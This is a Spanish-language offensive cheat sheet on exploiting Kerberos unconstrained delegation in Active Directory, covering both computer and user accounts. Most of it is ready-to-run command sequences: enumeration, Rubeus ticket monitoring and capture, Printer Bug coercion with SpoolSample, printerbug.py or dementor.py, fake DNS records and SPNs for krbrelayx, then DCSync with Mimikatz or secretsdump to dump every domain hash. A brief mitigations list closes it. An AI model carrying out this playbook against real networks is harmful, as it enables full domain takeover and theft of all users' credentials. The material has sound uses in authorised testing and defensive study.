Unconstrained Delegation - Computers
Ataque que explota máquinas configuradas con Unconstrained Delegation. Si un usuario privilegiado se autentica contra un servicio con esta configuración, su TGT queda embebido en el TGS ticket y puede ser extraído por quien controle ese servicio.
Links: Rubeus | SpoolSample PoC | Mimikatz | MS-RPRN Protocol | PowerView
Explicación simple
Imagina que una computadora del dominio (por ejemplo, un servidor SQL) está configurada para "confiar en cualquier servicio". Esto significa que si un usuario se conecta a ese servidor, el servidor recibe una copia completa de la identificación maestra del usuario (el TGT), no solo un pase temporal para ese servicio puntual.
Si se compromete ese servidor (administrador local), se puede esperar con una herramienta a que un usuario importante (como un Domain Admin) se conecte. En el momento que se conecta, se captura su TGT completo y ya se puede impersonar en todo el dominio.
El problema es que normalmente nadie importante se conecta así nada más. Por eso existe un segundo truco: el Printer Bug, una falla que permite "obligar" al Domain Controller (el servidor más importante del dominio) a conectarse al servidor comprometido, como si hubiera sido invitado. Cuando el DC se conecta, se captura su identificación y con eso se pueden extraer las contraseñas de todo el dominio (ataque DCSync).
Contexto técnico
En Windows 2000, unconstrained delegation era el único tipo de delegación disponible. Si un usuario solicita un service ticket en un servidor con unconstrained delegation habilitado, su TGT completo queda embebido en el TGS ticket presentado al servidor. El servidor puede cachear ese TGT en memoria y usarlo para impersonar al usuario contra cualquier otro recurso del dominio.
Sin unconstrained delegation, solo se guarda el TGS ticket en memoria, limitando el alcance del atacante al recurso específico de ese ticket.
Enumerar computadoras con Unconstrained Delegation (Linux)
Con findDelegation.py (Impacket)
findDelegation.py DOMAIN.LOCAL/<user>:<password>En el output, las filas con AccountType: Computer y DelegationType: Unconstrained son las máquinas vulnerables.
Con ldapsearch
El filtro LDAP busca el flag TRUSTED_FOR_DELEGATION (524288) en userAccountControl, tanto para computadoras como usuarios.
ldapsearch -x -H ldap://<IP_DC> -D "<user>@domain.local" -w '<password>' -b "DC=domain,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName objectClassCon netexec
netexec ldap <IP_DC> -u <user> -p '<password>' --trusted-for-delegationLista tanto usuarios como computadoras con delegación sin restricciones.
Con BloodHound (bloodhound-python)
bloodhound-python -u <user> -p '<password>' -d domain.local -ns <IP_DC> -c AllEn BloodHound, filtrar por la propiedad unconstraineddelegation:true o usar la query prediseñada "Find Computers with Unconstrained Delegation".
Escenario de ataque
Existen dos vectores principales:
- Esperar pasivamente que un usuario privilegiado se autentique contra el servidor comprometido
- Forzar activamente la autenticación de un Domain Controller usando el Printer Bug
Vector 1: Esperar autenticación de usuario privilegiado
Monitorear tickets con Rubeus
Como administrador local del servidor comprometido, Rubeus puede monitorear continuamente la llegada de nuevos TGTs.
.\Rubeus.exe monitor /interval:5 /nowrapCuando un usuario privilegiado (ej: Domain Admin) se conecta al servidor, Rubeus captura su TGT embebido y lo muestra en Base64.
Verificar privilegios del usuario capturado
Import-Module .\PowerView.ps1
Get-DomainGroup -MemberIdentity <usuario_capturado>Usar el TGT capturado para pedir un TGS
El flag /ptt (pass-the-ticket) inyecta el ticket recibido en memoria para usarlo en peticiones futuras.
.\Rubeus.exe asktgs /ticket:<TGT_base64> /service:cifs/dc01.domain.local /ptto tambien:
.\Rubeus.exe ptt /ticket: <TGT_bas64>.\Rubeus.exe asktgs /service:cifs/dc01.domain.local /pttAlternativa: renovar el ticket directamente
Si asktgs no funciona, se puede renovar el TGT capturado para obtener uno nuevo válido.
.\Rubeus.exe renew /ticket:<TGT_base64> /pttUsar el ticket para acceder al recurso
dir \\dc01.domain.local\c$Tip: También se puede usar
net view \\COMPUTERNAMEpara identificar shares disponibles.
Vector 2: Printer Bug (Coerción activa)
El Printer Bug es una falla en el protocolo MS-RPRN que permite a cualquier usuario de dominio forzar a un servidor a autenticarse contra un host arbitrario vía SMB, usando los métodos RpcOpenPrinter y RpcRemoteFindFirstPrinterChangeNotificationEx.
Combinado con unconstrained delegation, permite forzar a un Domain Controller a autenticarse contra un host controlado por el atacante y capturar su TGT (DC01$).
Nota: Si el DC no tiene el spooler service corriendo, esta técnica puede usarse contra cualquier otra computadora del dominio para crear Silver Tickets con el TGT de esa máquina.
Paso 1 - Iniciar Rubeus en modo monitor en el host comprometido
.\Rubeus.exe monitor /interval:5 /nowrapPaso 2 - Disparar el Printer Bug con SpoolSample
Sintaxis: SpoolSample.exe <servidor_objetivo> <servidor_captura>
.\SpoolSample.exe dc01.domain.local sql01.domain.localUn mensaje de "access denied" en la autenticación confirma que la coerción funcionó correctamente.
Paso 3 - Capturar el TGT de la cuenta de máquina del DC
Rubeus (corriendo en monitor) debería mostrar el TGT de DC01$.
Paso 4 - Renovar el ticket capturado
.\Rubeus.exe renew /ticket:<TGT_DC01$_base64> /pttExplotación con DCSync (Mimikatz)
Con el TGT de la cuenta de máquina del DC en memoria, se puede ejecutar DCSync para extraer el hash NTLM de cualquier usuario, incluyendo Administrator.
mimikatz.exe
lsadump::dcsync /user:<usuario_objetivo>Usar el hash obtenido para pedir un TGT como ese usuario
.\Rubeus.exe asktgt /rc4:<hash_NTLM> /user:<usuario_objetivo> /pttAcceder al recurso impersonando al usuario
dir \\dc01.domain.local\c$Alternativa: S4U2Self para targets que no son Domain Controllers
Si la máquina comprometida no es un DC, o se quiere evitar DCSync, se puede usar S4U2Self para forjar un Service Ticket en nombre de cualquier usuario usando el TGT de la cuenta de máquina capturado.
.\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.domain.local /ptt /ticket:<TGT_capturado>Esto permite obtener un TGS para el servicio CIFS impersonando a Administrator, sin necesitar ejecutar DCSync.
ls \\dc01.domain.local\c$Resumen del flujo completo
- Comprometer una máquina con unconstrained delegation habilitado
- Opción A: esperar pasivamente con
Rubeus monitora que un privilegiado se conecte - Opción B: forzar la autenticación del DC con
SpoolSample(Printer Bug) - Capturar el TGT embebido con Rubeus
- Usar
asktgsorenewpara obtener tickets utilizables - Ejecutar DCSync con Mimikatz para extraer hashes, o usar
s4u /selfpara forjar tickets sin DCSync - Acceder a recursos del dominio impersonando al usuario capturado
Unconstrained Delegation - Users
Ataque contra cuentas de usuario (no computadoras) configuradas con TRUSTED_FOR_DELEGATION. Requiere también tener GenericWrite sobre la cuenta comprometida para poder modificar su SPN.
Links: krbrelayx | dementor.py | printerbug.py | PowerView | Impacket
Explicación simple
Aquí la diferencia respecto al ataque contra computadoras es que en vez de un servidor, es una cuenta de usuario la que tiene esa configuración peligrosa (algo poco común, pero ocurre). El problema es que un usuario no es un servidor real, así que nadie se va a "conectar" a él directamente como pasaría con una máquina.
Entonces el atacante simula tener un servidor: crea un registro DNS falso que apunta a su propia máquina, haciendo creer al dominio que existe un equipo nuevo. Le asigna ese "servicio falso" a la cuenta de usuario comprometida. Luego usa el mismo truco del Printer Bug para obligar al Domain Controller a conectarse a ese servidor falso. Cuando el DC intenta conectarse, su identificación completa (TGT) llega directo a la máquina del atacante, que la captura con una herramienta especial (krbrelayx) y la usa para comprometer todo el dominio.
En resumen, ambos ataques de unconstrained delegation buscan capturar el TGT de alguien importante (normalmente el DC), ya sea esperando pasivamente una conexión o forzándola con el Printer Bug.
Enumerar usuarios con Unconstrained Delegation
Filtro LDAP para el flag TRUSTED_FOR_DELEGATION (valor 524288) en userAccountControl.
Import-Module .\PowerView.ps1
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"Desde Linux con ldapsearch
ldapsearch -x -H ldap://<IP_DC> -D "<user>@domain.local" -w '<password>' -b "DC=domain,DC=local" "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountNameEl filtro (objectCategory=person) asegura que solo se listen usuarios, no computadoras (que también usan el mismo flag).
Desde Linux con netexec
netexec ldap <IP_DC> -u <user> -p '<password>' --trusted-for-delegationMuestra tanto usuarios como computadoras; hay que filtrar manualmente cuáles son cuentas de usuario.
Desde Linux con findDelegation.py
findDelegation.py DOMAIN.LOCAL/<user>:<password>Las filas con AccountType: Person y DelegationType: Unconstrained son los usuarios vulnerables — esto es lo que suele indicar que se trata de una configuración inusual y potencialmente explotable, ya que unconstrained delegation en cuentas de usuario es poco común (normalmente se ve en computadoras).
Requisitos del ataque
- Una cuenta de usuario con unconstrained delegation habilitado (
TRUSTED_FOR_DELEGATION) GenericWritesobre esa cuenta, para poder agregarle un SPN propio
Concepto del ataque
A diferencia del ataque contra computadoras, aquí se crea un registro DNS falso que apunta a la máquina del atacante, simulando ser un equipo legítimo del dominio. Luego se agrega un SPN CIFS/<registro_falso> a la cuenta comprometida. Cuando alguien (típicamente el DC, forzado vía Printer Bug) intenta autenticarse por SMB contra ese "equipo falso", su TGT viaja embebido en el TGS ticket — y como el SPN pertenece a la cuenta con unconstrained delegation que controlamos, el ticket llega directamente a nuestra máquina.
Paso 1 - Crear un registro DNS falso
Usando dnstool.py de krbrelayx con cualquier cuenta válida del dominio.
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
python dnstool.py -u DOMAIN\\<usuario_valido> -p '<password>' -r roguecomputer.domain.local -d <IP_ATACANTE> --action add <IP_DC>
#Ejemplo:
python dnstool.py -u domain.local\\seven -p 'seven' -r roguecomputer.domain.local -d 10.10.10.7 --action add 10.10.10.5Verificar el registro DNS
nslookup roguecomputer.domain.local <IP_DC>
#Ejemplo
nslookup roguecomputer.domain.local dc01.domain.localPaso 2 - Agregar SPN a la cuenta comprometida
El SPN debe ser CIFS/<registro_dns_falso>. CIFS es equivalente a SMB. --target-type samname indica que el target es un username (no un hostname).
python addspn.py -u DOMAIN\\<usuario_valido> -p '<password>' --target-type samname -t <cuenta_comprometida> -s CIFS/roguecomputer.domain.local <IP_DC>
#Ejemplo
python3 addspn.py -u domain.local\\seven -p seven --target-type samname -t 'test' -s CIFS/roguecomputer.domain.local dc01.domain.localPaso 3 - Levantar krbrelayx para capturar el TGT
Se debe proveer el hash NTLM de la cuenta comprometida (el target con unconstrained delegation) para que la herramienta pueda descifrar el TGS ticket recibido.
Generar el hash NTLM
#Opcion 1
echo -n 'C@lluMDIXON' | iconv -t UTF-16LE | openssl dgst -md4 | cut -d ' ' -f2
#Opción 2
python3 -c "import hashlib; print(hashlib.new('md4', 'C@lluMDIXON'.encode('utf-16le')).hexdigest())"
#Opción 3
pypykatz crypto nt 'C@lluMDIXON'sudo python krbrelayx.py -hashes :<NTHASH_cuenta_comprometida>Nota: Si hay errores al ejecutar krbrelayx, puede deberse a conflictos con la instalación de impacket. Reinstalar desde fuente:
bashsudo apt remove python3-impacket impacket-scripts git clone https://github.com/fortra/impacket cd impacket sudo python3 -m pip install .
Paso 4 - Forzar autenticación con el Printer Bug
Se puede usar printerbug.py o dementor.py (solo se necesita uno de los dos).
# Con printerbug.py
## Opcion 1
python3 printerbug.py domain.local/<usuario>:'<password>'@<IP_DC> roguecomputer.domain.local
## Opcion 2
python3 printerbug.py domain.local/<usuario>:'<password>' roguecomputer.domain.local
# Con dementor.py
python dementor.py -u <usuario> -p '<password>' -d domain.local roguecomputer.domain.local <IP_DC>Esto fuerza al DC a autenticarse contra el registro DNS falso (la máquina del atacante), y krbrelayx captura automáticamente el TGT embebido.
Paso 5 - Usar el TGT capturado
El TGT se guarda en disco como un archivo .ccache.
export KRB5CCNAME=./DC01\$@DOMAIN.LOCAL_krbtgt@DOMAIN.LOCAL.ccacheEjecutar DCSync con el ticket
secretsdump.py -k -no-pass dc01.domain.localNota: Limpiar la variable de entorno al terminar con
unset KRB5CCNAME.
Mitigaciones
- Evitar unconstrained delegation en entornos modernos, preferir constrained o RBCD
- Si es absolutamente necesario, marcar cuentas sensibles como
Account is sensitive and cannot be delegated - Agregar cuentas privilegiadas al grupo Protected Users, lo cual bloquea su uso en delegación Kerberos y evita que sus TGTs queden cacheados en hosts tras autenticarse
Resumen del flujo
- Identificar usuario con
TRUSTED_FOR_DELEGATIONy verificarGenericWritesobre él - Crear registro DNS falso apuntando al atacante (
dnstool.py) - Agregar SPN
CIFS/<registro_falso>a la cuenta comprometida (addspn.py) - Levantar
krbrelayx.pycon el hash NTLM de la cuenta comprometida - Forzar autenticación del DC con
printerbug.pyodementor.py - Capturar el TGT del DC en formato
.ccache - Usar el ticket con
secretsdump.py -kpara ejecutar DCSync